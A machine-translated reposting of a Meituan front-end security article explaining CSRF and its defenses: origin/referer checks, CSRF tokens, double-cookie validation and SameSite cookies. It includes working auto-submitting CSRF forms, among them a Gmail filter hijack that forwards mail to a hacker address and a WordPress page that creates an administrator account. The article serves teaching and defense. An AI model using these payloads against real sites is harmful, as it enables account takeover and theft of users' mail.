original text :https://my.oschina.net/meituantech/blog/2243958

background

With the rapid development of Internet , Information security has become one of the focuses of enterprises , And the front end is the high-risk stronghold of enterprise security problems . In the era of mobile Internet , In addition to the traditional XSS、CSRF Beyond security issues , And often encounter network hijacking 、 Illegal call Hybrid API And so on . Of course , The browser itself is constantly evolving and developing , Keep introducing CSP、Same-Site Cookies And other new technologies to enhance security , But there are still many potential threats , This requires front-end technicians to keep doing “ Leak filling ”.

Front end security

In recent years , Meituan's business is developing rapidly , The front end is faced with a lot of security challenges , So I have accumulated a lot of practical experience . We sort out the common front-end security problems and corresponding solutions , It's going to be a series , Hope to help front-end students in the daily development of continuous prevention and repair of security vulnerabilities . This is the second article in the series .

Let's talk about CSRF, Actually compared XSS,CSRF It doesn't seem to be that famous , A lot of people think that “CSRF Not so destructive ”. Is that really the case ? Next , Let's invite Xiao Ming again “ Twinkle ” On stage .

CSRF attack

CSRF The occurrence of loopholes

comparison XSS,CSRF It doesn't seem to be that famous , A lot of people think that CSRF“ Not so destructive ”. Is that really the case ?

Next, let's welcome Xiao Ming ~~

Xiao Ming's tragic experience

This day , Xiao Ming brushes in boredom Gmail mail . Most of them are nutritional notifications 、 Verification Code 、 Chat notes and so on . But one email caught Xiao Ming's attention :

Sell bitcoin on sale , One just 998!!

Smart Xiao Ming of course knows that this is a liar , But still with a curious attitude point in ( Do not imitate ). Sure enough , It's just a blank page with nothing , Xiaoming is disappointed to close the page . Nothing seems to have happened ......

Under this calm exterior , The hacker's attack has been successful . Xiaoming Gmail in , A filtering rule was secretly set up , This rule makes all messages automatically forwarded to haker@hackermail.com. Xiao Ming is still brushing his email , I don't know his mail is in a fiefdom , Like a runaway Mustang , Continue to forward to the hacker's mailbox .

One day soon after , Xiaoming finds that his domain name has been transferred . Ignorant Xiaoming thinks that the domain name is due and he forgets to renew it , Until one day , The other side offered $650 The redemption price of , Xiao Ming just began to feel that something was wrong .

Xiaoming carefully checked the transfer of the domain name , The other party has its own verification code , The verification code of the domain name only exists in its own mailbox . Xiao Ming recalled the strange link that day , I opened it and looked at it again “ Blank pages ” Source code :

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="hacker@hakermail.com"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>

This page just opens , Will go to Gmail Send a post request . In request , Yes “Create Filter” command , Send all the mail , Forwarding to “hacker@hakermail.com”.

Xiaoming just landed Gmail, So when this request is sent , With Xiao Ming's login Certificate (Cookie),Gmail Received a request in the background of , It is verified that there is Xiaoming's login certificate , So Xiao Ming was successfully equipped with a filter .

Hackers can check all Xiaoming's emails , Including the domain name verification code and other privacy information in the email . After you get the captcha , Hackers can ask domain name service providers to reset their domain names to themselves .

Xiao Ming will open it soon Gmail, Found the filter , Delete them . However , Leaked mail , Domain names that have been transferred , It can't be retrieved any more ......

That's what happened to Xiao Ming . and “ Click on a hacker's link , All the mail was stolen ” This kind of thing is not made up , The prototype of this event is 2007 year Gmail Of CSRF Loophole :

https://www.davidairey.com/google-Gmail-security-hijack/

Of course , At present, this vulnerability has been Gmail Repair , Please use Gmail Don't panic .

What is? CSRF

CSRF(Cross-site request forgery) Cross-site request forgery : The attacker induced the victim to enter the third party website , In a third-party website , Send cross site request to the attacked website . Use the registration certificate obtained by the victim on the attacked website , Bypass user authentication in the background , To achieve the purpose of impersonating a user to perform an operation on the attacked website .

A typical CSRF The attack has the following process :

  • Victim login a.com, And keep the login credentials (Cookie).
  • The attacker lured the victim to visit b.com.
  • b.com towards a.com Sent a request :a.com/act=xx. The browser will carry by default a.com Of Cookie.
  • a.com After receiving the request , Validate request , And confirm that it's the victim's evidence , Mistakenly thought it was the victim's own request .
  • a.com Executed... In the name of the victim act=xx.
  • Attack complete , The attacker... Without the victim's knowledge , Pretend to be a victim , Give Way a.com Performed the operation defined by myself .

Several common types of attacks

  • GET Type of CSRF

GET Type of CSRF It's very easy to use , Just one HTTP request , It's used in this way :

 <img src="http://bank.example/withdraw?amount=10000&for=hacker" >

This is included in the victim's visit img After the page , The browser will automatically go to http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker Send it out once HTTP request .bank.example You will receive a cross domain request with the victim's login information .

  • POST Type of CSRF

This type of CSRF It's usually used to be an auto submitted form , Such as :

 <form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>

After visiting this page , The form will be submitted automatically , It's like simulating the user once POST operation .

POST Type of attack is usually better than GET Be more strict , But it's not complicated . Any personal website 、 Blog , Websites uploaded by hackers may be the source of attacks , The back-end interface cannot place security on only allow POST above .

  • Link type CSRF

Link type CSRF Not often , Compared with the other two cases where users open the page and get hit , This needs the user to click the link to trigger . This type usually embeds malicious links in the images posted in the forum , Or in the form of advertising to induce users to recruit , Attackers usually use exaggerated words to trick users into clicking , for example :

 <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
Heavy news !!
<a/>

Because the user has logged into the trusted website before A, And save the login status , As long as the user actively accesses the above PHP page , The attack is successful .

CSRF Characteristics

  • Attacks are usually launched on third-party websites , Instead of the website being attacked . The attacked website can't prevent the attack .
  • The attack uses the victim's login credentials on the attacked website , Submit the operation as a victim ; Instead of stealing data directly .
  • During the whole process, the attacker can't get the victim's login credentials , just “ personate ”.
  • Cross station requests can be made in various ways : picture URL、 Hyperlinks 、CORS、Form Submit, etc . Some requests can be directly embedded in third-party forums 、 In the article , It's hard to track .

CSRF It's usually cross domain , Because Outlands are usually more easily controlled by attackers . But if there are easy to use functions in this domain , For example, you can post pictures and links to forums and comment areas , Attacks can be carried out directly in this domain , And it's more dangerous .

Protection strategy

CSRF Usually from a third-party website , The attacked website can't prevent the attack , Only by enhancing your website for CSRF To improve safety .

As mentioned above CSRF Two characteristics of :

  • CSRF( Usually ) Occurs in third party domain names .
  • CSRF The attacker can't get Cookie Etc , Just use .

For these two points , We can specifically develop protection strategies , as follows :

  • Block access to unknown domains

    • Homology detection
    • Samesite Cookie
  • When submitting, it is required to attach the information of this domain
    • CSRF Token
    • double Cookie verification

The following is a detailed description of various protection methods :

Homology detection

since CSRF Mostly from third-party websites , Then we will ban Outland directly ( Or untrusted domain names ) Make a request to us .

So here comes the question , How do we determine if the request is from an external domain ?

stay HTTP Agreement , Each asynchronous request carries two Header, Used to mark the source domain name :

  • Origin Header
  • Referer Header

these two items. Header When the browser makes a request , In most cases, it will be brought automatically , And it can't be customized by the front end . The server can parse these two Header The domain name , Determine the source domain of the request .

Use Origin Header Identify the source domain name

In part with CSRF In the relevant request , Requested Header Will carry Origin Field . Field contains the requested domain name ( It doesn't contain path And query).

If Origin There is , So use... Directly Origin Confirm the source domain name with the field in .

however Origin There is no such thing as :

  • IE11 The same-origin policy : IE 11 Not across stations CORS Request to add Origin header ,Referer The head will still be the only sign . The most fundamental reason is that IE 11 The definition of homology is different from other browsers , There are two main differences , You can refer to MDN Same-origin_policy#IE_Exceptions

  • 302 Redirect :  stay 302 After redirection Origin Not included in redirected requests , because Origin May be considered sensitive information from other sources . about 302 Redirection is directed to a new server URL, So browsers don't want to Origin Leak to new server .

Use Referer Header Identify the source domain name

according to HTTP agreement , stay HTTP There is a field in the header called Referer, Recorded the time to HTTP The source address of the request . about Ajax request , Pictures and script Wait for resource request ,Referer For the page address where the request was initiated . For page Jump ,Referer To open the previous page address of the page history . So we use Referer Link to Origin Some of them can know the source domain name of the request .

This method is not foolproof ,Referer The value of is provided by the browser , although HTTP There are clear requirements in the agreement , But every browser for Referer There may be differences in the specific implementation of , There's no guarantee that the browser itself doesn't have security holes . Use validation Referer The method of value , It is to rely on the third party for security ( Browser ) To protect , In theory , It's not very safe . In some cases , Attackers can hide , And even modify the Referer.

2014 year ,W3C Of Web The application security working group released Referrer Policy The draft , How the browser should send Referer There are detailed regulations . Up to now, most of the new browsers have supported the draft , Finally, we can flexibly control the Referer Strategy . New version of the Referrer Policy There are five Referer Strategy :No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、 and Unsafe URL. Three strategies that existed before :never、default and always, Changed the name in the new standard . Their corresponding relationship is as follows :

Policy name Property value ( new ) Property value ( used )
No Referrer no-Referrer never
No Referrer When Downgrade no-Referrer-when-downgrade default
Origin Only (same or strict) origin origin
Origin When Cross Origin (strict) origin-when-crossorigin -
Unsafe URL unsafe-url always

According to the table above, we need to put Referrer Policy The policy is set to same-origin, For cognate links and references , Will send Referer,referer The value is Host No Path; Cross domain access does not carry Referer. for example :aaa.com quote bbb.com Resources for , Don't send Referer.

Set up Referrer Policy There are three ways :

  1. stay CSP Set up
  2. Page header added meta label
  3. a Label increase referrerpolicy attribute

There are a lot of them , But we can know one problem : Attackers can hide in their own requests Referer. If the attacker fills in his request like this :

 <img src="http://bank.example/withdraw?amount=10000&for=hacker" referrerpolicy="no-referrer">

Then the attack initiated by this request will not carry Referer.

In addition, in the following cases Referer Not or not believable :

1.IE6、7 Next use window.location.href=url Jump the interface , Will lose Referer.

2.IE6、7 Next use window.open, It's also missing Referer.

3.HTTPS The page jumps to HTTP page , All browsers Referer All lost .

4. Click on Flash When we get to another website ,Referer It's a mess , Not very believable .

Unable to confirm the source domain name

When Origin and Referer What to do when the header file does not exist ? If Origin and Referer It doesn't exist , It's suggested to stop it directly , Especially if you don't use random CSRF Token( See below ) As a second check .

How to block foreign domain requests

adopt Header Validation of the , We can know the source domain name of the request , These source domain names may be website domain , Or subdomain , Or an authorized third party domain name , Or from an untrusted unknown domain name .

We already know whether the requested domain name is from an untrusted domain name , We're going to block these requests directly , Can defend CSRF Did you attack ?

wait a moment ! When a request is a page request ( Like the home page of a website ), And the source is the search engine links ( For example, Baidu's search results ), It's also suspected CSRF attack . So when judging, you need to filter out the page requests , Usually Header The following conditions are met :

Accept: text/html
Method: GET

But corresponding , Page requests are exposed to CSRF We're in the middle of the attack . If your website , On page GET What is done to the current user in the request , Prevention is no longer effective .

for example , The following page requests :

GET https://example.com/addComment?comment=XXX&dest=orderId

notes : Strictly speaking, this does not necessarily exist CSRF Risk of attack , But there are still many websites that often put the main document GET Request to hang parameters to implement product functions , But it's a security risk for itself .

in addition , As I said before ,CSRF Most of the time it comes from a third-party domain , However, it cannot be excluded that the domain initiates . If the attacker has permission to post comments in this domain ( Containing links 、 Pictures, etc , Generally referred to as the UGC), Then it can launch attacks directly in its own domain , In this case, the homologous strategy can not achieve the protective effect .

in summary : Homology verification is a relatively simple prevention method , Be able to guard against the vast majority of CSRF attack . But it's not foolproof , High requirements for safety , Or websites with more user input , We're going to have to do extra protection for critical interfaces .

CSRF Token

As mentioned earlier CSRF The other feature is that , The attacker can't steal the user's information directly (Cookie,Header, Website content, etc ), It's just a fake use Cookie Information in .

and CSRF The attack was successful , Because the server mistakenly takes the request sent by the attacker as the user's own request . Then we can ask all user requests to carry a CSRF What the attacker can't get Token. The server verifies that the request carries the correct Token, To distinguish the normal request from the attack request , It can also prevent CSRF The attack of .

principle

CSRF Token There are three steps in the strategy :

1. take CSRF Token Output to page

First , When the user opens the page , The server needs to generate a Token, The Token Encrypt data by encryption algorithm , commonly Token Both include a combination of random strings and timestamps , Obviously at the time of submission Token You can't put it in Cookie It's in , Otherwise, it will be used by the attacker . therefore , For safety's sake Token It's better to have a server Session in , Then every time the page loads , Use JS Traverse the whole DOM Trees , about DOM All of the a and form Add... After the label Token. This solves most of the requests , But for the dynamically generated HTML Code , This method has no effect , It also requires the programmer to manually add Token.

2. The request submitted by the page carries this Token

about GET request ,Token Will be attached to the request address , such URL It becomes  http://url?csrftoken=tokenvalue.  And for POST The request for , To be in form At the end of the sentence, add :

 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>

such , Just put Token Added the request as a parameter .

3. Server authentication Token Whether it is right

When the user gets... From the client Token, When you submit it to the server again , The server needs to judge Token The effectiveness of the , The verification process is to decrypt first Token, Compare encrypted strings with timestamps , If the encryption string is consistent and the time has not expired , So this Token It's effective .

This method is better than the previous inspection Referer perhaps Origin Be safe ,Token Can be produced and placed in Session In , And then at every request put Token from Session Took out , With... In the request Token compare , But the trouble with this method is how to put Token Add the request as a parameter . The following will be Java For example , Introduce some CSRF Token The server verification logic of , The code is as follows :

HttpServletRequest req = (HttpServletRequest)request;
HttpSession s = req.getSession(); // from session Get in csrftoken attribute
String sToken = (String)s.getAttribute(“csrftoken”);
if(sToken == null){
// Generate new token Put in session in
sToken = generateToken();
s.setAttribute(“csrftoken”,sToken);
chain.doFilter(request, response);
} else{
// from HTTP Get in the head csrftoken
String xhrToken = req.getHeader(“csrftoken”);
// Get... From the request parameters csrftoken
String pToken = req.getParameter(“csrftoken”);
if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){
chain.doFilter(request, response);
}else if(sToken != null && pToken != null && sToken.equals(pToken)){
chain.doFilter(request, response);
}else{
request.getRequestDispatcher(“error.jsp”).forward(request,response);
}
}

The code comes from IBM developerworks CSRF

This Token The value of must be randomly generated , So it won't be guessed by the attacker , Consider using Java Application's java.security.SecureRandom Class to generate random tags long enough , Alternative generation algorithms include the use of 256 position BASE64 Encoding hash , Developers who choose this generation algorithm must ensure that randomness and uniqueness are used in hash data to generate random IDS . Usually , The developer only needs to generate once for the current session Token. In the initial generation of this Token after , The value will be stored in the session , And for each subsequent request , Until the session expires . When the end user makes a request , The server must verify that the request Token The existence and validity of , And what we found in the conversation Token Comparison . If not found in the request Token, Or the value provided does not match the value in the session , The request shall be suspended , It should be reset Token And record the event as an ongoing potential CSRF attack .

Distributed verification

In large websites , Use Session Storage CSRF Token It will bring a lot of pressure . Access a single server session Is the same . But now in large websites , We usually have more than one server , Maybe dozens or even hundreds of them , Even multiple computer rooms may be in different provinces , User initiated HTTP Requests usually go through a process like Ngnix After load balancers like that , And then route to a specific server , because Session By default, it is stored in the memory of a single server , So in a distributed environment, the same user sends multiple HTTP Requests may fall on different servers one after the other , It leads to the following HTTP The request can't get the previous HTTP Request... Stored in the server Session data , Thus making Session Mechanisms fail in a distributed environment , So in a distributed cluster CSRF Token It needs to be stored in Redis And so on .

Due to the use Session Storage , Read and verify CSRF Token It will cause large complexity and performance problems , At present, many websites adopt Encrypted Token Pattern The way . This way Token It's a calculated result , Instead of randomly generated strings . In this way, there is no need to read the stored Token, Just calculate it again .

such Token The value of is usually used UserID、 Timestamps and random numbers , Generated by encryption . In this way, we can ensure the availability of distributed services Token Agreement , And guarantee Token Not easy to crack .

stay token After successful decryption , The server can access the parsed values ,Token It contains UserID And timestamps will be used to validate , take UserID With the currently logged in UserID Compare , And compare the timestamp with the current time .

summary

Token Is a more effective CSRF Protection methods , As long as the page doesn't have XSS Leaks Token, So interface CSRF The attack will not succeed .

But the implementation of this method is complex , You need to write... To every page Token( The front end can't use static pages ), every last Form And Ajax Please take this with you Token, The backend validates every interface , And make sure the page Token And request Token Agreement . This makes it impossible for this protection strategy to unify interception processing on general interception , Each page and interface needs to add corresponding output and verification . This method has a lot of work , And it's possible to miss .

Captcha and password can also play a role CSRF Token The role of oh , And safer .

Why do many banks and other websites require users who have already logged in to re-enter their passwords when transferring money , Now there's a reason ?

double Cookie verification

Store... In the session CSRF Token More complicated , And it can't handle all interfaces on the common interception .

Then another defense is to use double commit Cookie. utilize CSRF The attack can't get the user Cookie Characteristics , We can ask for Ajax And form request to carry a Cookie The value in .

double Cookie Use the following process :

  • When a user visits a web page , Inject a... Into the requested domain name Cookie, The content is a random string ( for example csrfcookie=v8g9e4ksfhw).
  • When the front end makes a request to the back end , Take out Cookie, To add to URL The parameters of the ( Take the example above POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw).
  • Back end interface validation Cookie The fields in and URL Whether the fields in the parameter are consistent , Refuse to disagree .

This method is relative to CSRF Token It's a lot easier . It can be realized automatically by the way of front and back interception . Back end verification is more convenient , Just compare the fields in the request , There's no need to query and store Token.

Of course , This method is not widely used , Its security on large websites is still not CSRF Token high , Let's give an example of why .

Because any cross domain will lead to the front end can not get Cookie In the field ( Include subdomains between ), So the following happened :

  • If the website visited by the user is www.a.com, And the back end api The domain name is api.a.com. So in www.a.com Next , I can't get the front end api.a.com Of Cookie, There's no way to double Cookie authentication .
  • So this certification Cookie Must be planted in a.com Next , So that every subdomain can access .
  • Any subfield can be modified a.com Under the Cookie.
  • There is a vulnerability in a subdomain XSS attack ( for example upload.a.com). Although there is no information worth stealing under this subdomain . But the attacker modified a.com Under the Cookie.
  • Attackers can directly use the Cookie, Yes XSS The users of zhongzhao will go to www.a.com Next , launch CSRF attack .
summary

Use double Cookie defense CSRF The advantages of :

  • No need to use Session, More applicable , Easy to implement .
  • Token Store in client , No pressure on the server .
  • be relative to Token, Lower implementation cost , It can intercept and verify at the front and back end , Instead of adding interfaces and pages one by one .

shortcoming :

  • Cookie Added extra fields... In .
  • If there are other loopholes ( for example XSS), Attackers can inject Cookie, Then the defense mode fails .
  • It's hard to isolate subdomains .
  • To make sure Cookie Transport security , The best way to use this kind of defense is to make sure to use the whole station HTTPS The way , If it's not cut yet HTTPS There are also risks in using this method .

Samesite Cookie attribute

prevent CSRF The way to attack already has the above precautions . In order to solve this problem from the source ,Google A draft was drawn up to improve HTTP agreement , That's for Set-Cookie New response header Samesite attribute , It's used to mark this Cookie It's a “ Same station Cookie”, Same station Cookie Only as the first party Cookie, Not as a third party Cookie,Samesite There are two property values , Namely Strict and Lax, Here are the details :

Samesite=Strict

This is called the strict pattern , Indicates that the Cookie Under no circumstances can it be a third party Cookie, There is no exception . for instance b.com The settings are as follows Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3

We are a.com Next, I'd like to initiate a discussion on b.com Any request for ,foo This Cookie Will not be included in Cookie Request header , but bar Meeting . A practical example is , If the Taobao website is used to identify whether the user logs in or not Cookie Set to Samesite=Strict, Then users from Baidu search page or even tmall page link click into Taobao , Taobao is not in login status , Because Taobao's server won't receive that Cookie, Any request from other websites to Taobao will not bring that Cookie.

Samesite=Lax

This is called the loose mode , Than Strict It's a little bit more restrictive : If this request is this request ( Changed the current page or opened a new page ) And it's also a GET request , Then this Cookie As a third party Cookie. for instance b.com The settings are as follows Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3

When the user from a.com Click the link to enter b.com when ,foo This Cookie Will not be included in Cookie Request header , but bar and baz Meeting , That is to say, users will not be affected if they jump through links between different websites . But if the request comes from a.com Initiated by b.com Asynchronous request for , Or the page Jump is through the form post Commit triggered , be bar It will not send .

Generate Token Put it in Cookie And set Cookie Of Samesite,Java The code is as follows :

 private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
// Generate token
String sToken = this.generateToken();
// Manually add Cookie Implementation supports “Samesite=strict”
//Cookie Add double validation
String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI());
httpResponse.addHeader("Set-Cookie", CookieSpec);
httpResponse.setHeader(CSRF_TOKEN_NAME, token);
}

The code comes from OWASP Cross-Site_Request_Forgery #Implementation example

How should we use SamesiteCookie

If SamesiteCookie Set to Strict, The browser will not carry... In any cross domain request Cookie, The new tag opens again without carrying , So CSRF There's almost no chance to attack .

But jump to a domain name or a new tag and reopen the website you just landed on , Previous Cookie It's not going to exist . In particular, there are login sites , So let's open a new label and go into , Or jump to the subdomain website , You need to log in again . For users , Maybe the experience won't be very good .

If SamesiteCookie Set to Lax, Then other websites can use it when they jump over the page Cookie, It can ensure the login status of the user when the foreign domain connection opens the page . But corresponding , Its security is also relatively low .

Another problem is Samesite The compatibility of is not very good , At this stage, in addition to the new version Chrome and Firefox Beyond support ,Safari as well as iOS Safari None of them support , It seems that it can not be popularized at present .

and ,SamesiteCookie There's a fatal flaw right now : Subdomain... Is not supported . for example , Plant in topic.a.com Under the Cookie, Not available a.com Under the cultivation of SamesiteCookie. This leads to when our website has multiple subdomains , Out of commission SamesiteCookie Store user login information in the primary domain name . Each subdomain name requires the user to log in again .

All in all ,SamesiteCookie It is a possible alternative to homology verification , But it's not mature yet , Its application scenario remains to be seen .

Prevent websites from being used

Previously mentioned , It's all about how to protect the attacked websites . Instead of preventing attacks ,CSRF Our attacks can come from :

  • The attacker's own website .
  • Websites with file upload vulnerabilities .
  • Third party forum and other user content .
  • The comment function of the attacked website .

For websites from hackers themselves , We can't protect . But in other cases , So how to prevent your website from being used as the source of attack ?

  • Strictly manage all upload interfaces , Prevent any unexpected Uploads ( for example HTML).
  • add to Header X-Content-Type-Options: nosniff  Prevent hackers from uploading HTML Content resources ( For example, pictures ) Is parsed as a web page .
  • For images uploaded by users , Transfer or check . Don't use the user's image link directly .
  • When the current user opens links filled in by other users , You need to be informed of the risks ( This is also one of the reasons why many forums are not allowed to publish foreign links directly in the content , It's not just for user retention , There are also security considerations ).

CSRF Other preventive measures

For the front-line programmer students , We can defend through various defense strategies CSRF, about QA、SRE、 The person in charge of safety and so on , What can we do to improve security ?

CSRF test

CSRFTester Is a CSRF Vulnerability testing tools ,CSRFTester The testing principle of the tool is like this , Use the proxy to capture all the links and all the forms that we have visited in the browser , By means of CSRFTester Modify the corresponding forms and other information , To resubmit , It's equivalent to a fake client request , If the modified test request is accepted by the web server successfully , It means that there is CSRF Loophole , Of course, this tool can also be used to CSRF attack . CSRFTester The usage is divided into the following steps :

  • step 1: Set up browser proxy

CSRFTester By default Localhost On the port 8008 As its agent , If the agent configuration is successful ,CSRFTester All subsequent HTTP Request to generate debug message .

  • step 2: Use a legitimate account to visit the website and start testing

We need to find one we want for CSRF Specific business to test Web page . When you find this page , choice CSRFTester Medium “ Start recording ” Button and perform business functions ; After completion , Click on CSRFTester Medium “ Stop recording ” Button ; Under normal circumstances , The software will traverse all the requests of the current page .

  • step 3: adopt CSRF Modify and falsify the request

after , We'll find a series of record requests coming out of the software , These are all generated by our browser when performing business functions GET perhaps POST request . By selecting a line in the list , We can now modify the parameters used to perform business functions , You can modify it by clicking on the corresponding request query and form Parameters of . When all the changes are done, we want to induce users form The final submission value , You can choose to start generating HTML The report .

  • step 4: Get the results, if there are loopholes to fix

First you have to choose “ Type of report ”. The type of report determines how we want the victim browser to submit previously recorded requests . There are 5 Two possible reports : Forms 、iFrame、IMG、XHR And link . Once the report type is selected , We can choose to launch the newly generated report in the browser , Finally, according to the situation of the report, the corresponding troubleshooting and repair .

CSRF monitor

For a more complex website system , Some projects 、 page 、 The interface is missing CSRF Protective measures are very likely .

Once it happens CSRF attack , How can we detect these attacks in time ?

CSRF The attack has obvious characteristics :

  • Cross-domain request .
  • GET Type request Header Of MIME The type probability is picture , And the actual return Header Of MIME The type is Text、JSON、HTML.

We can monitor all interface requests in the proxy layer of the website , If the request meets the above characteristics , It can be considered that the request has CSRF The attack is suspected . We can remind the corresponding page and project leader , Check or Review Its CSRF Protection strategy .

Individual users CSRF Safety advice

Personal users who often surf the Internet , You can protect yourself in the following ways :

  • There's also an extra risk of using the web version of email to browse email or news , Because checking email or news messages may lead to malicious code attacks .
  • Try not to open suspicious Links , Be sure to turn it on , Use an unusual browser .

summary

A brief summary of the above protection strategies :

  • CSRF Automatic defense strategy : Homology detection (Origin and Referer verification ).

  • CSRF Active defense measures :Token verification perhaps double Cookie verification And cooperation Samesite Cookie.

  • Ensure the idempotence of the page , Do not use the backend interface GET Do user operations in the page .

For better defense CSRF, The best practice should be to consider the advantages and disadvantages of the defense measures summarized above , Combined with the present Web Make the right choice for the application itself , In order to prevent CSRF Happen .

Historical case

WordPress Of CSRF Loophole

2012 year 3 month ,WordPress Found a CSRF Loophole , Affected WordPress 3.3.1 edition ,WordPress It's a well-known blogging platform , The vulnerability can allow an attacker to modify a Post The title of the , Add users with administrative rights and operate user accounts , Including but not limited to deleting comments 、 Modify the head portrait and so on . The specific list is as follows :

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator's email
  • Change Wordpress Address
  • Change Site Address

So this vulnerability is actually an attacker guiding the user to enter the target first WordPress, Then click a button on its phishing site , This button is actually a form submit button , It triggers the submission of the form , Add a user with administrator rights , The implementation code is as follows :

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add Administrator</H2>
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">
<input type="hidden" name="action" value="createuser"/>
<input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/>
<input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/>
<input type="hidden" name="user_login" value="admin2"/>
<input type="hidden" name="email" value="admin2@admin.com"/>
<input type="hidden" name="first_name" value="admin2@admin.com"/>
<input type="hidden" name="last_name" value=""/>
<input type="hidden" name="url" value=""/>
<input type="hidden" name="pass1" value="password"/>
<input type="hidden" name="pass2" value="password"/>
<input type="hidden" name="role" value="administrator"/>
<input type="hidden" name="createuser" value="Add+New+User+"/>
</form>
</body>
</html>

YouTube Of CSRF Loophole

2008 year , Security researchers have found that ,YouTube There are almost all the actions that users can operate on CSRF Loophole . If the attacker has added video to the user's “Favorites”, So he can add himself to the user's “Friend” perhaps “Family” list , Send any message as a user , Mark video as inappropriate , Automatically share a video through a user's contacts . for example , To add video to the user's “Favorites”, The attacker only needs to embed the following on any site IMG label :

<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>

Attackers may have exploited the vulnerability to increase the popularity of video . for example , Add a video to enough users “Favorites”,YouTube I'll take the video as “Top Favorites” To display . In addition to increasing the popularity of a video , An attacker can also cause the user to unknowingly mark a video as “ Not suitable ”, Which leads to YouTube Delete the video .

These attacks may also have been used to violate user privacy .YouTube Allow users to watch only certain videos from friends or relatives . These attacks can cause an attacker to add it as a user's “Friend” or “Family” list , In this way, they can access all the private videos that were originally limited to users in the friends and relatives list .

An attacker can also access all of the user's contact lists (“Friends”、“Family” wait ) To share a video ,“ share ” It means sending them a link to the video , Of course, you can also choose additional messages . The link in this message is no longer a real video link , It's an aggressive website link , Users are likely to click on this link , This makes it possible for the attack to spread in a viral way .

reference

Next up

The front end security series will focus on XSS、CSRF、 Network hijacking 、Hybrid Security and other security issues . Next time we're going to talk about network hijacking , Coming soon .

Author's brief introduction

Liu Ye , Meituan review front-end development engineer , Responsible for the front-end business of takeaway client .

Front end Security Series II : How to prevent CSRF More articles about attacks

  1. Front end security series ( Two ): How to prevent CSRF attack ?

    Front end security series ( Two ): How to prevent CSRF attack ?   background With the rapid development of Internet , Information security has become one of the focuses of enterprises , And the front end is the high-risk stronghold of enterprise security problems . In the era of mobile Internet , In addition to the traditional XS ...

  2. Front end Security Series II : How to prevent CSRF attack ?

    background With the rapid development of Internet , Information security has become one of the focuses of enterprises , And the front end is the high-risk stronghold of enterprise security problems . In the era of mobile Internet , In addition to the traditional XSS.CSRF Beyond security issues , And often encounter network hijacking ...

  3. Web Safety series ( Two ):XSS Attack advanced ( On XSS Payload)

    What is? XSS Payload In the last chapter I talked about XSS Several types of attacks and the principles of the formed attacks , And give some simple examples , Next , I'll elaborate on what is called XSS Payload And from the perspective of the attacker XSS Attack ...

  4. Java Safety :csrf Attack summary

    Some old projects are being maintained recently , Request rejected repeatedly during debugging , Take a close look at the source code of the project , Found to have csrf token check , Take this opportunity to csrf Attack learning for a while , Summarize and write . This article mainly summarizes what is csrf Attack and how to prevent ...

  5. Web Safety series ( 3、 ... and ):XSS Attack advanced ( Digging holes )

    Preface In the previous chapters (web Safety series ( One ):XSS Attack basis and principle ) as well as (Web Safety series ( Two ):XSS Attack advanced ( On XSS Payload)) in , I introduced in detail XSS The principle of formation and XSS The attack ...

  6. turn :MVC Html.AntiForgeryToken() prevent CSRF attack

    ( One )MVC Html.AntiForgeryToken() prevent CSRF attack MVC Medium Html.AntiForgeryToken() It is used to prevent cross site request forgery (CSRF:Cross-site requ ...

  7. MVC Html.AntiForgeryToken() prevent CSRF attack - CSDN Blog

    original text :MVC Html.AntiForgeryToken() prevent CSRF attack - CSDN Blog ( One )MVC Html.AntiForgeryToken() prevent CSRF attack MVC Medium Html.A ...

  8. CSRF The principle and defense of | Would you like to come here once or not CSRF attack ?

    CSRF yes Cross Site Request Forgery Abbreviation , Cross Site Request Forgery . This vulnerability can often bring huge losses to users ,CSRF In the process of equipotential safety inspection , It's also a very important test item . But in our network ...

  9. Web The front-end development essence is recommended (jQuery、HTML5、CSS3)【 Series 12 】

    2012 year 12 month 12 Japan ,[<Web Front end developers and designers must read articles > Series 12 ] I've met you all . Dream sky blog focuses on   The front-end development   technology , Share various ways to enhance the user experience of the website  jQuery  plug-in unit , Show cutting edge  HT ...

Random recommendation

  1. PostgreSQL-join Multi table join query and sub query

    One . Multi table join query 1. An overview of connectivity [inner] join Internal connection : surface A And table B Make a Cartesian product in tuples , Remember as table C, And then in C Choose the one that meets on The content of the restriction after the statement . left [outer] ...

  2. [oracle] Set up PL/SQL Developer Character set

    I installed PLSQL Developer(10) perform SQL Found that the pop-up error prompt dialog box is ?? Express , The correct prompt message is not displayed . Later I realized that it was a mismatch with the server's character set . The method is as follows :1. Inquire about oracle ser ...

  3. At present jQuery Mobile Supported by 6 There are two ways to switch pages

